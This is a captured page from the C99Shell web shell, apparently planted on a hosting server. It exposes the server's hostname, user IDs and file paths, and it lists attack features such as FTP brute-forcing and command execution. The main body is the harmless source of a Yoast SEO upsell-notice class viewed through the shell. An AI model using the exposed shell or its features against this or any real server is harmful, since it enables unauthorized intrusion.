!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordpress-seo/admin/   drwxr-xr-x
Free 180.07 GB of 490.84 GB (36.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-product-upsell-notice.php (5.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package WPSEO\Admin
 */

/**
 * Represents the upsell notice.
 */
class WPSEO_Product_Upsell_Notice {

    const 
USER_META_DISMISSED 'wpseo-remove-upsell-notice';

    const 
OPTION_NAME 'wpseo';

    
/** @var array */
    
protected $options;

    
/**
     * Sets the options, because they always have to be there on instance.
     */
    
public function __construct() {
        
$this->options $this->get_options();
    }

    
/**
     * Checks if the notice should be added or removed.
     */
    
public function initialize() {
        if ( 
$this->is_notice_dismissed() ) {
            
$this->remove_notification();

            return;
        }

        if ( 
$this->should_add_notification() ) {
            
$this->add_notification();
        }
    }

    
/**
     * Sets the upgrade notice.
     */
    
public function set_upgrade_notice() {

        if ( 
$this->has_first_activated_on() ) {
            return;
        }

        
$this->set_first_activated_on();
        
$this->add_notification();
    }

    
/**
     * Listener for the upsell notice.
     */
    
public function dismiss_notice_listener() {
        if ( 
filter_inputINPUT_GET'yoast_dismiss' ) !== 'upsell' ) {
            return;
        }

        
$this->dismiss_notice();

        
wp_redirectadmin_url'admin.php?page=wpseo_dashboard' ) );
        exit;
    }

    
/**
     * When the notice should be shown.
     *
     * @return bool
     */
    
protected function should_add_notification() {
        return ( 
$this->options['first_activated_on'] < strtotime'-2weeks' ) );
    }

    
/**
     * Checks if the options has a first activated on date value.
     */
    
protected function has_first_activated_on() {
        return 
$this->options['first_activated_on'] !== false;
    }

    
/**
     * Sets the first activated on.
     */
    
protected function set_first_activated_on() {
        
$this->options['first_activated_on'] = strtotime'-2weeks' );

        
$this->save_options();
    }

    
/**
     * Adds a notification to the notification center.
     */
    
protected function add_notification() {
        
$notification_center Yoast_Notification_Center::get();
        
$notification_center->add_notification$this->get_notification() );
    }

    
/**
     * Adds a notification to the notification center.
     */
    
protected function remove_notification() {
        
$notification_center Yoast_Notification_Center::get();
        
$notification_center->remove_notification$this->get_notification() );
    }

    
/**
     * Returns a premium upsell section if using the free plugin.
     *
     * @return string
     */
    
protected function get_premium_upsell_section() {
        
$features = new WPSEO_Features();
        if ( 
$features->is_free() ) {
            return 
sprintf(
                
/* translators: %1$s expands anchor to premium plugin page, %2$s expands to </a> */
                
__'By the way, did you know we also have a %1$sPremium plugin%2$s? It offers advanced features, like a redirect manager and support for multiple keywords. It also comes with 24/7 personal support.' 'wordpress-seo' ),
                
"<a href='" WPSEO_Shortlinker::get'https://yoa.st/premium-notification' ) . "'>",
                
'</a>'
            
);
        }

        return 
'';
    }

    
/**
     * Gets the notification value.
     *
     * @return Yoast_Notification
     */
    
protected function get_notification() {
        
$message sprintf(
            
/* translators: %1$s expands to Yoast SEO, %2$s is a link start tag to the plugin page on WordPress.org, %3$s is the link closing tag. */
            
__'We\'ve noticed you\'ve been using %1$s for some time now; we hope you love it! We\'d be thrilled if you could %2$sgive us a 5 stars rating on WordPress.org%3$s!''wordpress-seo' ),
            
'Yoast SEO',
            
'<a href="' WPSEO_Shortlinker::get'https://yoa.st/rate-yoast-seo' ) . '">',
            
'</a>'
        
) . "\n\n";

        
$message .= sprintf(
            
/* translators: %1$s is a link start tag to the bugreport guidelines on the Yoast knowledge base, %2$s is the link closing tag. */
            
__'If you are experiencing issues, %1$splease file a bug report%2$s and we\'ll do our best to help you out.''wordpress-seo' ),
            
'<a href="' WPSEO_Shortlinker::get'https://yoa.st/bugreport' ) . '">',
            
'</a>'
        
) . "\n\n";

        
$message .= $this->get_premium_upsell_section() . "\n\n";

        
$message .= sprintf(
             
/* translators: %1$s is the notification dismissal link start tag, %2$s is the link closing tag. */
            
__'%1$sPlease don\'t show me this notification anymore%2$s''wordpress-seo' ),
            
'<a class="button" href="' admin_url'?page=' WPSEO_Admin::PAGE_IDENTIFIER '&yoast_dismiss=upsell' ) . '">',
            
'</a>'
        
);

        
$notification = new Yoast_Notification(
            
$message,
            array(
                
'type'         => Yoast_Notification::WARNING,
                
'id'           => 'wpseo-upsell-notice',
                
'capabilities' => 'manage_options',
                
'priority'     => 0.8,
            )
        );

        return 
$notification;
    }

    
/**
     * Dismisses the notice.
     *
     * @return string
     */
    
protected function is_notice_dismissed() {
        return 
get_user_metaget_current_user_id(), self::USER_META_DISMISSEDtrue ) === '1';
    }

    
/**
     * Dismisses the notice.
     */
    
protected function dismiss_notice() {
        
update_user_metaget_current_user_id(), self::USER_META_DISMISSEDtrue );
    }

    
/**
     * Returns the set options
     *
     * @return mixed|void
     */
    
protected function get_options() {
        return 
get_optionself::OPTION_NAME );
    }

    
/**
     * Saves the options to the database.
     */
    
protected function save_options() {
        
update_optionself::OPTION_NAME$this->options );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0403 ]--